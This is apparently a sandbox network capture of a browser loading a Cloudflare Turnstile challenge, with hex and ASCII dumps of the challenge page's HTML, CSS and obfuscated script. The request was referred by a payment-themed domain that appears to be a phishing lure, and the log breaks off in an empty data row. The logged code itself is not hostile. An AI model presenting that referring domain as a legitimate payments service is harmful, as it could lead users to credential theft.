2025-03-04 19:39:54 UTC	827	OUT	GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ebhl4/0x4AAAAAAA_eT5Ymilyhn1qa/auto/fbE/new/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://paymentsremittance.hostingdoccentral.it.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-04 19:39:54 UTC	1297	IN	HTTP/1.1 200 OK Date: Tue, 04 Mar 2025 19:39:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 28403 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: default-src 'none'; script-src 'nonce-d03xBziro1fDts9k' 'unsafe-eval'; script-src-attr 'none'; worker-src blob:; style-src 'unsafe-inline'; img-src 'self'; connect-src 'self'; frame-src 'self' blob:; child-src 'self' blob:; form-action 'none'; base-uri 'self'; sandbox allow-same-origin allow-scripts allow-popups allow-forms cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA
2025-03-04 19:39:54 UTC	411	IN	Data Raw: 63 72 69 74 69 63 61 6c 2d 63 68 3a 20 53 65 63 2d 43 48 2d 55 41 2d 42 69 74 6e 65 73 73 2c 20 53 65 63 2d 43 48 2d 55 41 2d 41 72 63 68 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 62 69 6c 65 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 64 65 6c 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 2c 20 53 65 63 2d 43 48 2d 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2d 4c 69 73 74 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2c 20 53 65 63 2d 43 48 2d 55 41 2c 20 55 41 2d 42 69 74 6e 65 73 73 2c 20 55 41 2d 41 72 63 68 2c 20 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2c 20 55 41 2d 4d 6f 62 69 6c 65 2c 20 55 41 2d 4d 6f 64 65 6c 2c 20 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 2c 20 55 41 2d 50 Data Ascii: critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-P
2025-03-04 19:39:54 UTC	1030	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 2d 73 72 63 20 26 23 78 32 37 3b 6e 6f 6e 65 26 23 78 32 37 3b 3b 20 73 63 72 69 70 74 2d 73 72 63 20 26 23 78 32 37 3b 6e 6f 6e 63 65 2d 64 30 33 78 42 7a 69 72 6f 31 66 44 74 73 39 6b 26 23 78 32 37 3b 20 26 23 78 32 37 3b 75 6e 73 61 66 65 2d Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="x-ua-compatible" content="IE=Edge,chrome=1"> <meta http-equiv="content-security-policy" content="default-src 'none'; script-src 'nonce-d03xBziro1fDts9k' 'unsafe-
2025-03-04 19:39:54 UTC	1369	IN	Data Raw: 61 6d 65 73 20 66 69 6c 6c 66 61 69 6c 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 33 30 70 78 20 30 20 30 20 23 64 65 31 33 30 33 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 69 6c 6c 66 61 69 6c 2d 6f 66 66 6c 61 62 65 6c 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 33 30 70 78 20 23 32 33 32 33 32 33 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 69 6c 6c 66 61 69 6c 2d 6f 66 66 6c 61 62 65 6c 2d 64 61 72 6b 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 33 30 70 78 20 23 66 66 66 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2e 30 31 29 7d 74 6f 7b 74 72 61 6e 73 66 6f Data Ascii: ames fillfail{to{box-shadow:inset 0 30px 0 0 #de1303}}@keyframes fillfail-offlabel{to{box-shadow:inset 0 0 0 30px #232323}}@keyframes fillfail-offlabel-dark{to{box-shadow:inset 0 0 0 30px #fff}}@keyframes scale-up-center{0%{transform:scale(.01)}to{transfo
2025-03-04 19:39:54 UTC	1369	IN	Data Raw: 2d 61 6c 69 67 6e 3a 72 69 67 68 74 7d 23 6f 76 65 72 72 75 6e 2d 69 2c 23 73 70 69 6e 6e 65 72 2d 69 7b 61 6e 69 6d 61 74 69 6f 6e 3a 73 70 69 6e 20 35 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 68 65 69 67 68 74 3a 33 30 70 78 3b 77 69 64 74 68 3a 33 30 70 78 7d 23 66 61 69 6c 2d 69 7b 61 6e 69 6d 61 74 69 6f 6e 3a 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 35 35 2c 2e 30 38 35 2c 2e 36 38 2c 2e 35 33 29 20 62 6f 74 68 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 23 64 65 31 33 30 33 7d 23 66 61 69 6c 2d 69 2c 23 73 75 63 63 65 73 73 2d 69 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 3b 64 69 73 70 6c 61 79 3a Data Ascii: -align:right}#overrun-i,#spinner-i{animation:spin 5s linear infinite;display:flex;height:30px;width:30px}#fail-i{animation:scale-up-center .6s cubic-bezier(.55,.085,.68,.53) both;box-shadow:inset 0 0 0 #de1303}#fail-i,#success-i{border-radius:50%;display:
2025-03-04 19:39:54 UTC	1369	IN	Data Raw: 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 23 30 61 61 39 33 37 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 3a 23 30 61 61 39 33 37 3b 66 69 6c 6c 3a 23 30 61 61 39 33 37 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 78 70 69 72 65 64 2d 63 69 72 63 6c 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 74 69 6d 65 6f 75 74 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 39 39 39 3b 66 69 6c 6c 3a 23 39 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 65 78 Data Ascii: shadow:inset 0 0 0 #0aa937}.theme-dark .success-circle{stroke:#0aa937;fill:#0aa937}.theme-dark .expired-circle,.theme-dark .timeout-circle{stroke-dasharray:166;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#999;fill:#999}.theme-dark #ex
2025-03-04 19:39:54 UTC	1369	IN	Data Raw: 31 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 68 31 7b 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 7b 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 61 63 74 69 76 65 Data Ascii: 1}.theme-dark h1{color:#fff}.theme-dark #challenge-error-title{color:#ffa299}.theme-dark #challenge-error-title a,.theme-dark #challenge-error-title a:link,.theme-dark #challenge-error-title a:visited{color:#bbb}.theme-dark #challenge-error-title a:active
2025-03-04 19:39:54 UTC	1369	IN	Data Raw: 72 65 73 68 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 39 34 39 34 39 34 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6f 76 65 72 6c 61 79 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 3b 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 3a 6c 69 6e Data Ascii: resh-link:active,.theme-dark #timeout-refresh-link:focus,.theme-dark #timeout-refresh-link:hover{color:#949494}.theme-dark .overlay{border-color:#ffa299;color:#ffa299}.theme-dark .error-message,.theme-dark .error-message a,.theme-dark .error-message a:lin
2025-03-04 19:39:54 UTC	1369	IN	Data Raw: 74 3a 63 68 65 63 6b 65 64 7e 2e 63 62 2d 69 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 3b 6f 70 61 63 69 74 79 3a 31 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 20 73 63 61 6c 65 28 31 29 7d 2e 63 62 2d 6c 62 20 69 6e 70 75 74 3a 63 68 65 63 6b 65 64 7e 2e 63 62 2d 69 3a 61 66 74 65 72 7b 62 6f 72 64 65 72 3a 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 30 20 34 70 78 20 34 70 78 20 30 3b 68 65 69 67 68 74 3a 31 32 70 78 3b 6c 65 66 74 3a 35 70 78 3b 74 6f 70 3a 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 34 35 64 65 67 29 20 73 63 61 6c 65 28 31 29 3b 77 69 Data Ascii: t:checked~.cb-i{background-color:#fff;border-radius:5px;opacity:1;transform:rotate(0deg) scale(1)}.cb-lb input:checked~.cb-i:after{border:solid #c44d0e;border-radius:0;border-width:0 4px 4px 0;height:12px;left:5px;top:0;transform:rotate(45deg) scale(1);wi
2025-03-04 19:39:54 UTC	1369	IN	Data Raw: 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 20 73 70 61 63 65 2d 65 76 65 6e 6c 79 3b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 65 78 70 69 72 65 64 2d 74 65 78 74 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 6f 76 65 72 72 75 6e 2d 74 65 78 74 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 74 69 6d 65 6f 75 74 2d 74 65 78 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 65 78 70 69 72 65 64 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 7b 6d 61 72 67 69 6e 3a Data Ascii: content:center space-evenly;visibility:visible}.size-compact #expired-text,.size-compact #overrun-text,.size-compact #timeout-text{display:block}.size-compact #expired-refresh-link,.size-compact #timeout-refresh-link,.size-compact .error-message a{margin:
2025-03-04 19:39:54 UTC	1369	IN	Data Raw: 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 36 70 78 7d 23 74 65 72 6d 73 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 38 70 78 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 65 6e 64 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 30 70 78 7d 23 74 65 72 6d 73 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 3a 30 20 2e 32 72 65 6d 7d 23 74 65 72 6d 73 20 61 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 23 74 65 72 6d 73 20 61 2c 23 74 65 72 6d 73 20 61 3a 6c 69 6e 6b 2c 23 74 65 72 6d 73 20 61 3a 76 69 73 69 74 65 64 7b 63 Data Ascii: r{margin-left:0;margin-right:16px}#terms{color:#232323;display:inline-flex;font-size:8px;font-style:normal;justify-content:flex-end;line-height:10px}#terms .link-spacer{margin:0 .2rem}#terms a{display:inline-block}#terms a,#terms a:link,#terms a:visited{c

Timestamp	Bytes transferred	Direction	Data
2025-03-04 19:39:55 UTC	731	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=91b3d7a1caf4f5fa&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ebhl4/0x4AAAAAAA_eT5Ymilyhn1qa/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-04 19:39:55 UTC	331	IN	HTTP/1.1 200 OK Date: Tue, 04 Mar 2025 19:39:55 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 123852 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 91b3d7a5ef0672a1-EWR alt-svc: h3=":443"; ma=86400
2025-03-04 19:39:55 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 6e 69 45 44 61 35 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 Data Ascii: window._cf_chl_opt.niEDa5={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebs
2025-03-04 19:39:55 UTC	1369	IN	Data Raw: 30 61 6e 64 25 32 30 25 33 43 61 25 32 30 63 6c 61 73 73 25 33 44 25 32 32 72 65 66 72 65 73 68 5f 6c 69 6e 6b 25 32 32 25 33 45 72 65 66 72 65 73 68 25 32 30 74 68 65 25 32 30 70 61 67 65 25 33 43 25 32 46 61 25 33 45 25 32 30 69 66 25 32 30 74 68 65 25 32 30 69 73 73 75 65 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 65 6e 64 25 32 30 46 65 65 64 62 61 63 6b 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 74 69 6d 65 6f 75 74 22 3a 22 54 69 6d 65 64 25 32 30 6f 75 74 22 2c 22 68 75 6d 61 6e 5f 62 75 74 74 6f 6e 5f 74 65 78 74 22 3a 22 56 65 72 69 66 79 25 32 30 79 6f 75 25 32 30 61 72 65 25 32 30 68 75 6d 61 6e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 61 69 6c Data Ascii: 0and%20%3Ca%20class%3D%22refresh_link%22%3Erefresh%20the%20page%3C%2Fa%3E%20if%20the%20issue%20persists.","turnstile_feedback_description":"Send%20Feedback","turnstile_timeout":"Timed%20out","human_button_text":"Verify%20you%20are%20human","turnstile_fail
2025-03-04 19:39:55 UTC	1369	IN	Data Raw: 72 65 73 68 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 76 65 72 69 66 79 69 6e 67 22 3a 22 56 65 72 69 66 79 69 6e 67 2e 2e 2e 22 7d 2c 22 70 6f 6c 79 66 69 6c 6c 73 22 3a 7b 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 61 75 78 5f 73 75 62 74 69 74 6c 65 22 3a 66 61 6c 73 65 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 66 61 6c 73 65 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 67 75 69 64 65 6c 69 6e 65 22 3a 66 61 6c 73 65 7d 2c 22 72 74 6c 22 3a 66 61 6c 73 65 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 75 73 22 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 67 4a 2c 65 4d 2c 65 4e 2c 65 51 2c 65 54 2c 65 56 2c 65 57 2c 65 58 2c 66 39 2c 66 6c 2c 66 72 2c 66 73 2c 66 74 2c 66 44 2c 66 4f 2c 66 53 2c Data Ascii: resh","turnstile_verifying":"Verifying..."},"polyfills":{"feedback_report_aux_subtitle":false,"feedback_report_output_subtitle":false,"feedback_report_guideline":false},"rtl":false,"lang":"en-us"};~function(gJ,eM,eN,eQ,eT,eV,eW,eX,f9,fl,fr,fs,ft,fD,fO,fS,
2025-03-04 19:39:55 UTC	1369	IN	Data Raw: 2c 27 67 41 49 4a 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 43 2c 44 2c 45 29 7b 72 65 74 75 72 6e 20 43 28 44 2c 45 29 7d 7d 29 3b 74 72 79 7b 66 6f 72 28 6a 3d 67 4d 28 31 39 37 35 29 5b 67 4d 28 31 36 37 34 29 5d 28 27 7c 27 29 2c 6b 3d 30 3b 21 21 5b 5d 3b 29 7b 73 77 69 74 63 68 28 6a 5b 6b 2b 2b 5d 29 7b 63 61 73 65 27 30 27 3a 6c 3d 69 5b 67 4d 28 31 30 36 38 29 5d 28 69 5b 67 4d 28 31 30 36 38 29 5d 28 67 4d 28 31 33 33 36 29 2b 65 4d 5b 67 4d 28 31 32 32 34 29 5d 5b 67 4d 28 31 37 37 38 29 5d 2c 67 4d 28 31 30 35 35 29 29 2b 65 4d 5b 67 4d 28 31 32 32 34 29 5d 5b 67 4d 28 34 39 33 29 5d 2c 27 2f 27 29 2b 65 4d 5b 67 4d 28 31 32 32 34 29 5d 2e 63 48 2b 27 2f 27 2b 65 4d 5b 67 4d 28 31 32 32 34 29 5d 5b 67 4d 28 36 32 35 29 5d 3b 63 6f 6e 74 69 6e 75 65 Data Ascii: ,'gAIJk':function(C,D,E){return C(D,E)}});try{for(j=gM(1975)[gM(1674)]('\|'),k=0;!![];){switch(j[k++]){case'0':l=i[gM(1068)](i[gM(1068)](gM(1336)+eM[gM(1224)][gM(1778)],gM(1055))+eM[gM(1224)][gM(493)],'/')+eM[gM(1224)].cH+'/'+eM[gM(1224)][gM(625)];continue
2025-03-04 19:39:55 UTC	1369	IN	Data Raw: 32 29 5d 28 6b 29 2c 6c 26 26 28 67 3d 6c 5b 31 5d 2c 68 3d 70 61 72 73 65 49 6e 74 28 6c 5b 32 5d 2c 31 30 29 2c 69 3d 65 5b 67 4e 28 31 38 31 38 29 5d 28 70 61 72 73 65 49 6e 74 2c 6c 5b 33 5d 2c 31 30 29 29 29 29 3a 66 3d 4a 53 4f 4e 5b 67 4e 28 36 39 32 29 5d 28 64 29 3b 72 65 74 75 72 6e 20 6d 3d 7b 7d 2c 6d 5b 67 4e 28 31 32 37 38 29 5d 3d 66 2c 6d 5b 67 4e 28 31 38 32 36 29 5d 3d 67 2c 6d 5b 67 4e 28 31 37 38 34 29 5d 3d 68 2c 6d 5b 67 4e 28 39 32 35 29 5d 3d 69 2c 6d 5b 67 4e 28 35 32 36 29 5d 3d 64 2c 6d 7d 2c 65 4d 5b 67 4a 28 31 32 39 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 66 2c 67 2c 68 2c 69 2c 67 50 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 67 50 3d 67 4a 2c 6a 3d 7b 7d 2c 6a 5b 67 50 28 31 39 34 30 29 5d 3d 67 50 Data Ascii: 2)](k),l&&(g=l[1],h=parseInt(l[2],10),i=e[gN(1818)](parseInt,l[3],10)))):f=JSON[gN(692)](d);return m={},m[gN(1278)]=f,m[gN(1826)]=g,m[gN(1784)]=h,m[gN(925)]=i,m[gN(526)]=d,m},eM[gJ(1297)]=function(e,f,g,h,i,gP,j,k,l,m,n,o){return gP=gJ,j={},j[gP(1940)]=gP
2025-03-04 19:39:55 UTC	1369	IN	Data Raw: 63 6b 47 45 27 3a 68 44 28 37 35 39 29 7d 2c 65 3d 63 5b 68 44 28 35 39 34 29 5d 2c 65 26 26 64 5b 68 44 28 39 34 35 29 5d 28 65 5b 68 44 28 36 36 38 29 5d 2c 64 5b 68 44 28 36 35 35 29 5d 29 26 26 64 5b 68 44 28 37 38 35 29 5d 28 65 5b 68 44 28 31 39 37 31 29 5d 2c 68 44 28 31 30 35 37 29 29 29 3f 66 72 3d 64 5b 68 44 28 31 32 33 33 29 5d 28 73 65 74 49 6e 74 65 72 76 61 6c 2c 66 75 6e 63 74 69 6f 6e 28 68 45 29 7b 68 45 3d 68 44 2c 64 5b 68 45 28 31 37 34 37 29 5d 28 66 52 29 7d 2c 31 65 33 29 3a 65 26 26 65 5b 68 44 28 36 36 38 29 5d 3d 3d 3d 68 44 28 35 34 35 29 26 26 64 5b 68 44 28 39 34 35 29 5d 28 65 5b 68 44 28 31 39 37 31 29 5d 2c 64 5b 68 44 28 31 36 38 32 29 5d 29 26 26 28 64 5b 68 44 28 37 38 35 29 5d 28 68 44 28 38 36 36 29 2c 68 44 28 31 38 Data Ascii: ckGE':hD(759)},e=c[hD(594)],e&&d[hD(945)](e[hD(668)],d[hD(655)])&&d[hD(785)](e[hD(1971)],hD(1057)))?fr=d[hD(1233)](setInterval,function(hE){hE=hD,d[hE(1747)](fR)},1e3):e&&e[hD(668)]===hD(545)&&d[hD(945)](e[hD(1971)],d[hD(1682)])&&(d[hD(785)](hD(866),hD(18
2025-03-04 19:39:55 UTC	1369	IN	Data Raw: 66 4c 2c 66 53 5b 67 4a 28 31 33 35 37 29 5d 3d 66 4d 2c 66 53 5b 67 4a 28 31 32 39 33 29 5d 3d 66 48 2c 66 53 5b 67 4a 28 31 30 32 36 29 5d 3d 66 4e 2c 66 53 5b 67 4a 28 31 38 37 39 29 5d 3d 66 4b 2c 66 53 5b 67 4a 28 31 32 31 37 29 5d 3d 66 4a 2c 66 53 5b 67 4a 28 39 34 36 29 5d 3d 66 38 2c 66 53 5b 67 4a 28 39 37 39 29 5d 3d 66 46 2c 66 53 5b 67 4a 28 36 37 33 29 5d 3d 66 45 2c 66 53 5b 67 4a 28 31 30 30 35 29 5d 3d 65 5a 2c 66 53 5b 67 4a 28 31 32 34 39 29 5d 3d 66 30 2c 66 53 5b 67 4a 28 31 33 30 33 29 5d 3d 66 6d 2c 66 53 5b 67 4a 28 35 38 31 29 5d 3d 66 6f 2c 66 53 5b 67 4a 28 31 36 30 31 29 5d 3d 66 6e 2c 66 53 5b 67 4a 28 31 32 33 37 29 5d 3d 66 79 2c 66 53 5b 67 4a 28 31 36 39 33 29 5d 3d 66 78 2c 66 53 5b 67 4a 28 31 31 37 38 29 5d 3d 66 77 2c Data Ascii: 